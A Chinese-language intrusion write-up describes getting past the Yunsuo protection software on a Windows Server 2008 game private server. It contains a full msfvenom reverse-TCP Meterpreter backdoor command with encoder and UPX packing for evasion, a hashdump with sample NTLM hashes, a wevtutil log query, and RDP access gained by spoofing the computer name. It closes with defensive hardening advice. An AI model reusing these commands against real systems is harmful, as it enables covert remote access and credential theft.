“撬锁”实战:绕过云锁提权某游戏私服
字数 1032 2025-08-18 11:37:28
绕过云锁提权的技术分析与防御措施
技术背景
本文介绍了一种在Windows Server 2008环境下绕过云锁防护软件进行提权的技术方法。攻击者通过已有的shell权限(system级别)最终获取了管理员远程桌面访问权限。
环境分析
-
初始权限确认:
- 执行
whoami确认当前为system权限 - 服务器系统:Windows Server 2008
- 执行
-
防护软件检测:
- 通过
tasklist /svc发现云锁进程运行中 net user命令被云锁禁用
- 通过
提权过程详解
第一步:尝试常规方法
- 尝试上传
net.exe到可写目录:- 云锁阻止了任何目录下的
net.exe执行 - 不同于安全狗,云锁对所有目录的执行权限控制更严格
- 云锁阻止了任何目录下的
第二步:获取密码哈希
-
直接读取密码的尝试:
- 使用
getpassword工具被云锁拦截
- 使用
-
生成免杀后门:
- 使用MSFVenom生成Meterpreter后门:
msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST=xxxxx LPORT=xxxx -e x86/shikata_ga_nai -i 5 -f exe > /root/testtest.exe - 使用UPX加壳增强免杀:
upx -6 /root/testtest.exe - 上传并执行后门程序
- 使用MSFVenom生成Meterpreter后门:
-
获取密码哈希:
- 通过Meterpreter的
hashdump获取用户哈希:wuhuijun:500:aad3b435b51404eeaad3b435b51404ee:5eb5f692224005cfd316b84f7d459d06::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: - 对获取的NTLM哈希进行破解,获得明文密码
- 通过Meterpreter的
第三步:绕过远程桌面限制
-
发现计算机名限制:
- 远程桌面端口为默认3389
- 服务器设置了只允许特定计算机名连接
-
获取允许的计算机名:
- 使用Windows事件日志查询命令:
wevtutil.exe qe security "/q:*[System [(EventID=4624)]]" /f:text /rd:true /c:100 > c:\sys.txt - 查找日志中类型为3(远程登录)的记录,发现允许的计算机名为
PC-20180525EFUP
- 使用Windows事件日志查询命令:
-
修改本地计算机名:
- 将攻击机计算机名改为
PC-20180525EFUP - 重启后使用获取的凭据成功连接远程桌面
- 将攻击机计算机名改为
防御建议
-
针对云锁配置:
- 启用所有可执行文件的执行控制
- 加强日志监控,特别是安全日志的完整性保护
-
系统加固措施:
- 限制system权限账户的滥用
- 启用更严格的远程桌面限制(如IP白名单而非计算机名)
- 定期轮换管理员密码
-
日志管理:
- 限制普通用户访问安全事件日志
- 考虑将日志实时同步到安全SIEM系统
-
哈希保护:
- 启用Credential Guard等Windows安全功能
- 使用更复杂的密码策略增加哈希破解难度
技术总结
本案例展示了即使拥有system权限,在云锁防护下仍需采用多阶段技术才能完成提权。关键点在于:
- 通过免杀技术绕过云锁的可执行文件检测
- 利用system权限直接获取密码哈希
- 通过事件日志分析获取系统配置信息
- 本地环境伪装绕过基于计算机名的访问控制
此技术路径强调了纵深防御的重要性,单一防护措施容易被绕过。